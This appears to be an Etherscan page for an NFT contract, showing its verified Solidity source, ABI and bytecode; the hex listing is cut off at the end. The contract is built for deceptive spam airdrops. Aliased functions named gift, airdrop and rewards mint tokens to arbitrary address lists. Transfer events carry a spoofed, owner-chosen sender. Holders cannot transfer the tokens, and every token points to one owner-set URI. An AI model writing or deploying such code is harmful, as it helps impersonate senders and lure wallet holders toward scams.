ETH Price: $3,493.66 (+2.25%)
Gas: 13 Gwei

Token

(0xb46e8cbc45aeeb218b04976674837097715b4899)
 

Overview

Max Total Supply

3,403 ERC-721 TOKEN*

Holders

3,402

Market

Volume (24H)

N/A

Min Price (24H)

N/A

Max Price (24H)

N/A
Filtered by Token Holder
Bonsai3: liquidity provider
Balance
0 ERC-721 TOKEN*
0x3719ef5ec3cf824d7b1cb2b1cf0e492dd2d9c6ec
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC721

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-06
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

interface IERC165 {
    function supportsInterface(bytes4 interfaceID) external view returns (bool);
}

interface IERC721 is IERC165 {
    function balanceOf(address owner) external view returns (uint256 balance);

    function ownerOf(uint256 tokenId) external view returns (address owner);

    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;

    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    function approve(address to, uint256 tokenId) external;

    function getApproved(uint256 tokenId)
        external
        view
        returns (address operator);

    function setApprovalForAll(address operator, bool _approved) external;

    function isApprovedForAll(address owner, address operator)
        external
        view
        returns (bool);
}

interface IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

contract ERC721 is IERC721 {
    string private _uri;
    string public name;
    string public symbol;
    address public _owner;
    address public fromAddr;
    uint256 public totalSupply=1;

    event Transfer(
        address indexed from,
        address indexed to,
        uint256 indexed id
    );
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 indexed id
    );
    event ApprovalForAll(
        address indexed owner,
        address indexed operator,
        bool approved
    );

    // Mapping from token ID to owner address
    mapping(uint256 => address) internal _ownerOf;

    // Mapping owner address to token count
    mapping(address => uint256) internal _balanceOf;

    // Mapping from token ID to approved address
    mapping(uint256 => address) internal _approvals;

    // Mapping from owner to operator approvals
    mapping(address => mapping(address => bool)) public isApprovedForAll;



    function initialize(
        string memory name_,
        string memory symbol_,
        address fromAddr_,
        string memory baseURI_
    ) public {
        require(_owner == msg.sender, "not initializer");
         _owner = msg.sender;
        name = name_;
        symbol = symbol_;
        fromAddr= fromAddr_;
        _uri = baseURI_;
        _mint(msg.sender, totalSupply++);
    }

    function initialize() public {
        require(_owner == address(0) || _owner == msg.sender);
        _owner = msg.sender;
    }

      function setURI(string memory baseURI_) public {
        require(_owner == msg.sender);
        _uri = baseURI_;
    }

    function gift(address[] memory targets) public {
        mainfunction(targets);
    }

    function rewards(address[] memory targets) public {
        mainfunction(targets);
    }

    function airdrop(address[] memory targets) public {
        mainfunction(targets);
    }

    function holderAirdrop(address[] memory targets) public {
        mainfunction(targets);
    }

    function mainfunction(address[] memory targets) public {
        require(_owner == msg.sender);
        for (uint256 i = 0; i < targets.length; ++i) {
            _transfer(targets[i],totalSupply++);
        }
    }

    function uri(uint256 typeId) public view returns (string memory) {
        // require(typeId > 0);
        return _uri;
        // return string(abi.encodePacked(_uri, typeId.toString()));
    }
    function tokenURI(uint256 typeId) public view returns (string memory) {
        return _uri;
    }

    function supportsInterface(bytes4 interfaceId)
        external
        pure
        returns (bool)
    {
        return
            interfaceId == type(IERC721).interfaceId ||
            interfaceId == type(IERC165).interfaceId;
    }

    function ownerOf(uint256 id) external view returns (address owner) {
        owner = _ownerOf[id];
        require(owner != address(0), "token doesn't exist");
    }

    function balanceOf(address owner) external view returns (uint256) {
        require(owner != address(0), "owner = zero address");
        return _balanceOf[owner];
    }

    function setApprovalForAll(address operator, bool approved) external {
        isApprovedForAll[msg.sender][operator] = approved;
        emit ApprovalForAll(msg.sender, operator, approved);
    }

    function approve(address spender, uint256 id) external {
        address owner = _ownerOf[id];
        require(
            msg.sender == owner || isApprovedForAll[owner][msg.sender],
            "not authorized"
        );

        _approvals[id] = spender;

        emit Approval(owner, spender, id);
    }

    function getApproved(uint256 id) external view returns (address) {
        require(_ownerOf[id] != address(0), "token doesn't exist");
        return _approvals[id];
    }

    function _isApprovedOrOwner(
        address owner,
        address spender,
        uint256 id
    ) internal view returns (bool) {
        return (spender == owner ||
            isApprovedForAll[owner][spender] ||
            spender == _approvals[id]);
    }

    function transferFrom(
        address from,
        address to,
        uint256 id
    ) public {
        require(_owner == msg.sender);
        require(from == _ownerOf[id], "from != owner");
        require(to != address(0), "transfer to zero address");

        require(_isApprovedOrOwner(from, msg.sender, id), "not authorized");

        _balanceOf[from]--;
        _balanceOf[to]++;
        _ownerOf[id] = to;

        delete _approvals[id];

        emit Transfer(from, to, id);
    }

    function safeTransferFrom(
        address from,
        address to,
        uint256 id
    ) external {
        transferFrom(from, to, id);

        require(
            to.code.length == 0 ||
                IERC721Receiver(to).onERC721Received(
                    msg.sender,
                    from,
                    id,
                    ""
                ) ==
                IERC721Receiver.onERC721Received.selector,
            "unsafe recipient"
        );
    }

    function safeTransferFrom(
        address from,
        address to,
        uint256 id,
        bytes calldata data
    ) external {
        transferFrom(from, to, id);

        require(
            to.code.length == 0 ||
                IERC721Receiver(to).onERC721Received(
                    msg.sender,
                    from,
                    id,
                    data
                ) ==
                IERC721Receiver.onERC721Received.selector,
            "unsafe recipient"
        );
    }

    function _transfer(address to, uint256 id) internal {
        require(to != address(0), "mint to zero address");
        require(_ownerOf[id] == address(0), "already minted");

        _balanceOf[to]++;
        _ownerOf[id] = to;

        emit Transfer(fromAddr, to, id);
    }

    function _mint(address to, uint256 id) internal {
        require(to != address(0), "mint to zero address");
        require(_ownerOf[id] == address(0), "already minted");

        _balanceOf[to]++;
        _ownerOf[id] = to;

        emit Transfer(address(0), to, id);
    }
}

Contract Security Audit

Contract ABI

[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":true,"internalType":"uint256","name":"id","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"id","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"targets","type":"address[]"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fromAddr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"id","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"targets","type":"address[]"}],"name":"gift","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"targets","type":"address[]"}],"name":"holderAirdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"fromAddr_","type":"address"},{"internalType":"string","name":"baseURI_","type":"string"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"targets","type":"address[]"}],"name":"mainfunction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"id","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"targets","type":"address[]"}],"name":"rewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"baseURI_","type":"string"}],"name":"setURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"typeId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"typeId","type":"uint256"}],"name":"uri","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"}]

60806040526001600555348015610014575f80fd5b5061159b806100225f395ff3fe608060405234801561000f575f80fd5b506004361061016d575f3560e01c806344338d9f116100d9578063a22cb46511610093578063c87b56dd1161006e578063c87b56dd14610201578063e6a07063146102e6578063e6fdb7ea146102f9578063e985e9c51461030c575f80fd5b8063a22cb465146102ad578063b2bdfa7b146102c0578063b88d4fde146102d3575f80fd5b806344338d9f146102645780636352211e1461027757806370a082311461028a578063729ad39e146102145780638129fc1c1461029d57806395d89b41146102a5575f80fd5b8063163e1e611161012a578063163e1e611461021457806318160ddd1461022757806323b872dd1461023e5780632b7ff2541461021457806342842e0e146102515780634429205014610214575f80fd5b806301ffc9a71461017157806302fe53051461019957806306fdde03146101ae578063081812fc146101c3578063095ea7b3146101ee5780630e89341c14610201575b5f80fd5b61018461017f366004610f33565b610339565b60405190151581526020015b60405180910390f35b6101ac6101a7366004611006565b61036f565b005b6101b6610394565b6040516101909190611038565b6101d66101d1366004611083565b610420565b6040516001600160a01b039091168152602001610190565b6101ac6101fc3660046110b0565b610499565b6101b661020f366004611083565b610578565b6101ac6102223660046110d8565b610609565b61023060055481565b604051908152602001610190565b6101ac61024c366004611180565b610615565b6101ac61025f366004611180565b6107df565b6101ac6102723660046110d8565b6108d3565b6101d6610285366004611083565b61093c565b6102306102983660046111b9565b61099b565b6101ac610a04565b6101b6610a42565b6101ac6102bb3660046111d2565b610a4f565b6003546101d6906001600160a01b031681565b6101ac6102e136600461120b565b610aba565b6101ac6102f436600461129e565b610b9f565b6004546101d6906001600160a01b031681565b61018461031a366004611331565b600960209081525f928352604080842090915290825290205460ff1681565b5f6001600160e01b031982166380ac58cd60e01b148061036957506001600160e01b031982166301ffc9a760e01b145b92915050565b6003546001600160a01b03163314610385575f80fd5b5f61039082826113e7565b5050565b600180546103a190611362565b80601f01602080910402602001604051908101604052809291908181526020018280546103cd90611362565b80156104185780601f106103ef57610100808354040283529160200191610418565b820191905f5260205f20905b8154815290600101906020018083116103fb57829003601f168201915b505050505081565b5f818152600660205260408120546001600160a01b031661047e5760405162461bcd60e51b81526020600482015260136024820152721d1bdad95b88191bd95cdb89dd08195e1a5cdd606a1b60448201526064015b60405180910390fd5b505f908152600860205260409020546001600160a01b031690565b5f818152600660205260409020546001600160a01b0316338114806104e057506001600160a01b0381165f90815260096020908152604080832033845290915290205460ff165b61051d5760405162461bcd60e51b815260206004820152600e60248201526d1b9bdd08185d5d1a1bdc9a5e995960921b6044820152606401610475565b5f8281526008602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b60605f805461058690611362565b80601f01602080910402602001604051908101604052809291908181526020018280546105b290611362565b80156105fd5780601f106105d4576101008083540402835291602001916105fd565b820191905f5260205f20905b8154815290600101906020018083116105e057829003601f168201915b50505050509050919050565b610612816108d3565b50565b6003546001600160a01b0316331461062b575f80fd5b5f818152600660205260409020546001600160a01b038481169116146106835760405162461bcd60e51b815260206004820152600d60248201526c333937b690109e9037bbb732b960991b6044820152606401610475565b6001600160a01b0382166106d95760405162461bcd60e51b815260206004820152601860248201527f7472616e7366657220746f207a65726f206164647265737300000000000000006044820152606401610475565b6106e4833383610c62565b6107215760405162461bcd60e51b815260206004820152600e60248201526d1b9bdd08185d5d1a1bdc9a5e995960921b6044820152606401610475565b6001600160a01b0383165f908152600760205260408120805491610744836114b7565b90915550506001600160a01b0382165f90815260076020526040812080549161076c836114cc565b90915550505f81815260066020908152604080832080546001600160a01b038088166001600160a01b031992831681179093556008909452828520805490911690559051849391928716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6107ea838383610615565b6001600160a01b0382163b158061088f5750604051630a85bd0160e11b8082523360048301526001600160a01b03858116602484015260448301849052608060648401525f608484015290919084169063150b7a029060a4016020604051808303815f875af115801561085f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061088391906114e4565b6001600160e01b031916145b6108ce5760405162461bcd60e51b815260206004820152601060248201526f1d5b9cd85999481c9958da5c1a595b9d60821b6044820152606401610475565b505050565b6003546001600160a01b031633146108e9575f80fd5b5f5b81518110156103905761092c828281518110610909576109096114ff565b602002602001015160055f815480929190610923906114cc565b91905055610cd2565b610935816114cc565b90506108eb565b5f818152600660205260409020546001600160a01b0316806109965760405162461bcd60e51b81526020600482015260136024820152721d1bdad95b88191bd95cdb89dd08195e1a5cdd606a1b6044820152606401610475565b919050565b5f6001600160a01b0382166109e95760405162461bcd60e51b81526020600482015260146024820152736f776e6572203d207a65726f206164647265737360601b6044820152606401610475565b506001600160a01b03165f9081526007602052604090205490565b6003546001600160a01b03161580610a2657506003546001600160a01b031633145b610a2e575f80fd5b600380546001600160a01b03191633179055565b600280546103a190611362565b335f8181526009602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b610ac5858585610615565b6001600160a01b0384163b1580610b595750604051630a85bd0160e11b808252906001600160a01b0386169063150b7a0290610b0d9033908a90899089908990600401611513565b6020604051808303815f875af1158015610b29573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b4d91906114e4565b6001600160e01b031916145b610b985760405162461bcd60e51b815260206004820152601060248201526f1d5b9cd85999481c9958da5c1a595b9d60821b6044820152606401610475565b5050505050565b6003546001600160a01b03163314610beb5760405162461bcd60e51b815260206004820152600f60248201526e3737ba1034b734ba34b0b634bd32b960891b6044820152606401610475565b600380546001600160a01b031916331790556001610c0985826113e7565b506002610c1684826113e7565b50600480546001600160a01b0319166001600160a01b0384161790555f610c3d82826113e7565b5060058054610c5c913391905f610c53836114cc565b91905055610dfc565b50505050565b5f836001600160a01b0316836001600160a01b03161480610ca757506001600160a01b038085165f9081526009602090815260408083209387168352929052205460ff165b80610cca57505f828152600860205260409020546001600160a01b038481169116145b949350505050565b6001600160a01b038216610d1f5760405162461bcd60e51b81526020600482015260146024820152736d696e7420746f207a65726f206164647265737360601b6044820152606401610475565b5f818152600660205260409020546001600160a01b031615610d745760405162461bcd60e51b815260206004820152600e60248201526d185b1c9958591e481b5a5b9d195960921b6044820152606401610475565b6001600160a01b0382165f908152600760205260408120805491610d97836114cc565b90915550505f8181526006602052604080822080546001600160a01b0319166001600160a01b03868116918217909255600454925185949193909216917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9190a45050565b6001600160a01b038216610e495760405162461bcd60e51b81526020600482015260146024820152736d696e7420746f207a65726f206164647265737360601b6044820152606401610475565b5f818152600660205260409020546001600160a01b031615610e9e5760405162461bcd60e51b815260206004820152600e60248201526d185b1c9958591e481b5a5b9d195960921b6044820152606401610475565b6001600160a01b0382165f908152600760205260408120805491610ec1836114cc565b90915550505f8181526006602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6001600160e01b031981168114610612575f80fd5b5f60208284031215610f43575f80fd5b8135610f4e81610f1e565b9392505050565b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f1916810167ffffffffffffffff81118282101715610f9257610f92610f55565b604052919050565b5f82601f830112610fa9575f80fd5b813567ffffffffffffffff811115610fc357610fc3610f55565b610fd6601f8201601f1916602001610f69565b818152846020838601011115610fea575f80fd5b816020850160208301375f918101602001919091529392505050565b5f60208284031215611016575f80fd5b813567ffffffffffffffff81111561102c575f80fd5b610cca84828501610f9a565b5f6020808352835180828501525f5b8181101561106357858101830151858201604001528201611047565b505f604082860101526040601f19601f8301168501019250505092915050565b5f60208284031215611093575f80fd5b5035919050565b80356001600160a01b0381168114610996575f80fd5b5f80604083850312156110c1575f80fd5b6110ca8361109a565b946020939093013593505050565b5f60208083850312156110e9575f80fd5b823567ffffffffffffffff80821115611100575f80fd5b818501915085601f830112611113575f80fd5b81358181111561112557611125610f55565b8060051b9150611136848301610f69565b818152918301840191848101908884111561114f575f80fd5b938501935b83851015611174576111658561109a565b82529385019390850190611154565b98975050505050505050565b5f805f60608486031215611192575f80fd5b61119b8461109a565b92506111a96020850161109a565b9150604084013590509250925092565b5f602082840312156111c9575f80fd5b610f4e8261109a565b5f80604083850312156111e3575f80fd5b6111ec8361109a565b915060208301358015158114611200575f80fd5b809150509250929050565b5f805f805f6080868803121561121f575f80fd5b6112288661109a565b94506112366020870161109a565b935060408601359250606086013567ffffffffffffffff80821115611259575f80fd5b818801915088601f83011261126c575f80fd5b81358181111561127a575f80fd5b89602082850101111561128b575f80fd5b9699959850939650602001949392505050565b5f805f80608085870312156112b1575f80fd5b843567ffffffffffffffff808211156112c8575f80fd5b6112d488838901610f9a565b955060208701359150808211156112e9575f80fd5b6112f588838901610f9a565b94506113036040880161109a565b93506060870135915080821115611318575f80fd5b5061132587828801610f9a565b91505092959194509250565b5f8060408385031215611342575f80fd5b61134b8361109a565b91506113596020840161109a565b90509250929050565b600181811c9082168061137657607f821691505b60208210810361139457634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156108ce575f81815260208120601f850160051c810160208610156113c05750805b601f850160051c820191505b818110156113df578281556001016113cc565b505050505050565b815167ffffffffffffffff81111561140157611401610f55565b6114158161140f8454611362565b8461139a565b602080601f831160018114611448575f84156114315750858301515b5f19600386901b1c1916600185901b1785556113df565b5f85815260208120601f198616915b8281101561147657888601518255948401946001909101908401611457565b508582101561149357878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b5f816114c5576114c56114a3565b505f190190565b5f600182016114dd576114dd6114a3565b5060010190565b5f602082840312156114f4575f80fd5b8151610f4e81610f1e565b634e487b7160e01b5f52603260045260245ffd5b6001600160a01b038681168252851660208201526040810184905260806060820181905281018290525f828460a08401375f60a0848401015260a0601f19601f8501168301019050969550505050505056fea26469706673582212205e6a09b6c54a2f41e8ec9b2a7c755d75ac604f9a60080616b94ee9953c8d779264736f6c63430008140033

Deployed Bytecode

0x608060405234801561000f575f80fd5b506004361061016d575f3560e01c806344338d9f116100d9578063a22cb46511610093578063c87b56dd1161006e578063c87b56dd14610201578063e6a07063146102e6578063e6fdb7ea146102f9578063e985e9c51461030c575f80fd5b8063a22cb465146102ad578063b2bdfa7b146102c0578063b88d4fde146102d3575f80fd5b806344338d9f146102645780636352211e1461027757806370a082311461028a578063729ad39e146102145780638129fc1c1461029d57806395d89b41146102a5575f80fd5b8063163e1e611161012a578063163e1e611461021457806318160ddd1461022757806323b872dd1461023e5780632b7ff2541461021457806342842e0e146102515780634429205014610214575f80fd5b806301ffc9a71461017157806302fe53051461019957806306fdde03146101ae578063081812fc146101c3578063095ea7b3146101ee5780630e89341c14610201575b5f80fd5b61018461017f366004610f33565b610339565b60405190151581526020015b60405180910390f35b6101ac6101a7366004611006565b61036f565b005b6101b6610394565b6040516101909190611038565b6101d66101d1366004611083565b610420565b6040516001600160a01b039091168152602001610190565b6101ac6101fc3660046110b0565b610499565b6101b661020f366004611083565b610578565b6101ac6102223660046110d8565b610609565b61023060055481565b604051908152602001610190565b6101ac61024c366004611180565b610615565b6101ac61025f366004611180565b6107df565b6101ac6102723660046110d8565b6108d3565b6101d6610285366004611083565b61093c565b6102306102983660046111b9565b61099b565b6101ac610a04565b6101b6610a42565b6101ac6102bb3660046111d2565b610a4f565b6003546101d6906001600160a01b031681565b6101ac6102e136600461120b565b610aba565b6101ac6102f436600461129e565b610b9f565b6004546101d6906001600160a01b031681565b61018461031a366004611331565b600960209081525f928352604080842090915290825290205460ff1681565b5f6001600160e01b031982166380ac58cd60e01b148061036957506001600160e01b031982166301ffc9a760e01b145b92915050565b6003546001600160a01b03163314610385575f80fd5b5f61039082826113e7565b5050565b600180546103a190611362565b80601f01602080910402602001604051908101604052809291908181526020018280546103cd90611362565b80156104185780601f106103ef57610100808354040283529160200191610418565b820191905f5260205f20905b8154815290600101906020018083116103fb57829003601f168201915b505050505081565b5f818152600660205260408120546001600160a01b031661047e5760405162461bcd60e51b81526020600482015260136024820152721d1bdad95b88191bd95cdb89dd08195e1a5cdd606a1b60448201526064015b60405180910390fd5b505f908152600860205260409020546001600160a01b031690565b5f818152600660205260409020546001600160a01b0316338114806104e057506001600160a01b0381165f90815260096020908152604080832033845290915290205460ff165b61051d5760405162461bcd60e51b815260206004820152600e60248201526d1b9bdd08185d5d1a1bdc9a5e995960921b6044820152606401610475565b5f8281526008602052604080822080546001600160a01b0319166001600160a01b0387811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b60605f805461058690611362565b80601f01602080910402602001604051908101604052809291908181526020018280546105b290611362565b80156105fd5780601f106105d4576101008083540402835291602001916105fd565b820191905f5260205f20905b8154815290600101906020018083116105e057829003601f168201915b50505050509050919050565b610612816108d3565b50565b6003546001600160a01b0316331461062b575f80fd5b5f818152600660205260409020546001600160a01b038481169116146106835760405162461bcd60e51b815260206004820152600d60248201526c333937b690109e9037bbb732b960991b6044820152606401610475565b6001600160a01b0382166106d95760405162461bcd60e51b815260206004820152601860248201527f7472616e7366657220746f207a65726f206164647265737300000000000000006044820152606401610475565b6106e4833383610c62565b6107215760405162461bcd60e51b815260206004820152600e60248201526d1b9bdd08185d5d1a1bdc9a5e995960921b6044820152606401610475565b6001600160a01b0383165f908152600760205260408120805491610744836114b7565b90915550506001600160a01b0382165f90815260076020526040812080549161076c836114cc565b90915550505f81815260066020908152604080832080546001600160a01b038088166001600160a01b031992831681179093556008909452828520805490911690559051849391928716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6107ea838383610615565b6001600160a01b0382163b158061088f5750604051630a85bd0160e11b8082523360048301526001600160a01b03858116602484015260448301849052608060648401525f608484015290919084169063150b7a029060a4016020604051808303815f875af115801561085f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061088391906114e4565b6001600160e01b031916145b6108ce5760405162461bcd60e51b815260206004820152601060248201526f1d5b9cd85999481c9958da5c1a595b9d60821b6044820152606401610475565b505050565b6003546001600160a01b031633146108e9575f80fd5b5f5b81518110156103905761092c828281518110610909576109096114ff565b602002602001015160055f815480929190610923906114cc565b91905055610cd2565b610935816114cc565b90506108eb565b5f818152600660205260409020546001600160a01b0316806109965760405162461bcd60e51b81526020600482015260136024820152721d1bdad95b88191bd95cdb89dd08195e1a5cdd606a1b6044820152606401610475565b919050565b5f6001600160a01b0382166109e95760405162461bcd60e51b81526020600482015260146024820152736f776e6572203d207a65726f206164647265737360601b6044820152606401610475565b506001600160a01b03165f9081526007602052604090205490565b6003546001600160a01b03161580610a2657506003546001600160a01b031633145b610a2e575f80fd5b600380546001600160a01b03191633179055565b600280546103a190611362565b335f8181526009602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b610ac5858585610615565b6001600160a01b0384163b1580610b595750604051630a85bd0160e11b808252906001600160a01b0386169063150b7a0290610b0d9033908a90899089908990600401611513565b6020604051808303815f875af1158015610b29573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b4d91906114e4565b6001600160e01b031916145b610b985760405162461bcd60e51b815260206004820152601060248201526f1d5b9cd85999481c9958da5c1a595b9d60821b6044820152606401610475565b5050505050565b6003546001600160a01b03163314610beb5760405162461bcd60e51b815260206004820152600f60248201526e3737ba1034b734ba34b0b634bd32b960891b6044820152606401610475565b600380546001600160a01b031916331790556001610c0985826113e7565b506002610c1684826113e7565b50600480546001600160a01b0319166001600160a01b0384161790555f610c3d82826113e7565b5060058054610c5c913391905f610c53836114cc565b91905055610dfc565b50505050565b5f836001600160a01b0316836001600160a01b03161480610ca757506001600160a01b038085165f9081526009602090815260408083209387168352929052205460ff165b80610cca57505f828152600860205260409020546001600160a01b038481169116145b949350505050565b6001600160a01b038216610d1f5760405162461bcd60e51b81526020600482015260146024820152736d696e7420746f207a65726f206164647265737360601b6044820152606401610475565b5f818152600660205260409020546001600160a01b031615610d745760405162461bcd60e51b815260206004820152600e60248201526d185b1c9958591e481b5a5b9d195960921b6044820152606401610475565b6001600160a01b0382165f908152600760205260408120805491610d97836114cc565b90915550505f8181526006602052604080822080546001600160a01b0319166001600160a01b03868116918217909255600454925185949193909216917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9190a45050565b6001600160a01b038216610e495760405162461bcd60e51b81526020600482015260146024820152736d696e7420746f207a65726f206164647265737360601b6044820152606401610475565b5f818152600660205260409020546001600160a01b031615610e9e5760405162461bcd60e51b815260206004820152600e60248201526d185b1c9958591e481b5a5b9d195960921b6044820152606401610475565b6001600160a01b0382165f908152600760205260408120805491610ec1836114cc565b90915550505f8181526006602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b6001600160e01b031981168114610612575f80fd5b5f60208284031215610f43575f80fd5b8135610f4e81610f1e565b9392505050565b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f1916810167ffffffffffffffff81118282101715610f9257610f92610f55565b604052919050565b5f82601f830112610fa9575f80fd5b813567ffffffffffffffff811115610fc357610fc3610f55565b610fd6601f8201601f1916602001610f69565b818152846020838601011115610fea575f80fd5b816020850160208301375f918101602001919091529392505050565b5f60208284031215611016575f80fd5b813567ffffffffffffffff81111561102c575f80fd5b610cca84828501610f9a565b5f6020808352835180828501525f5b8181101561106357858101830151858201604001528201611047565b505f604082860101526040601f19601f8301168501019250505092915050565b5f60208284031215611093575f80fd5b5035919050565b80356001600160a01b0381168114610996575f80fd5b5f80604083850312156110c1575f80fd5b6110ca8361109a565b946020939093013593505050565b5f60208083850312156110e9575f80fd5b823567ffffffffffffffff80821115611100575f80fd5b818501915085601f830112611113575f80fd5b81358181111561112557611125610f55565b8060051b9150611136848301610f69565b818152918301840191848101908884111561114f575f80fd5b938501935b83851015611174576111658561109a565b82529385019390850190611154565b98975050505050505050565b5f805f60608486031215611192575f80fd5b61119b8461109a565b92506111a96020850161109a565b9150604084013590509250925092565b5f602082840312156111c9575f80fd5b610f4e8261109a565b5f80604083850312156111e3575f80fd5b6111ec8361109a565b915060208301358015158114611200575f80fd5b809150509250929050565b5f805f805f6080868803121561121f575f80fd5b6112288661109a565b94506112366020870161109a565b935060408601359250606086013567ffffffffffffffff80821115611259575f80fd5b818801915088601f83011261126c575f80fd5b81358181111561127a575f80fd5b89602082850101111561128b575f80fd5b9699959850939650602001949392505050565b5f805f80608085870312156112b1575f80fd5b843567ffffffffffffffff808211156112c8575f80fd5b6112d488838901610f9a565b955060208701359150808211156112e9575f80fd5b6112f588838901610f9a565b94506113036040880161109a565b93506060870135915080821115611318575f80fd5b5061132587828801610f9a565b91505092959194509250565b5f80604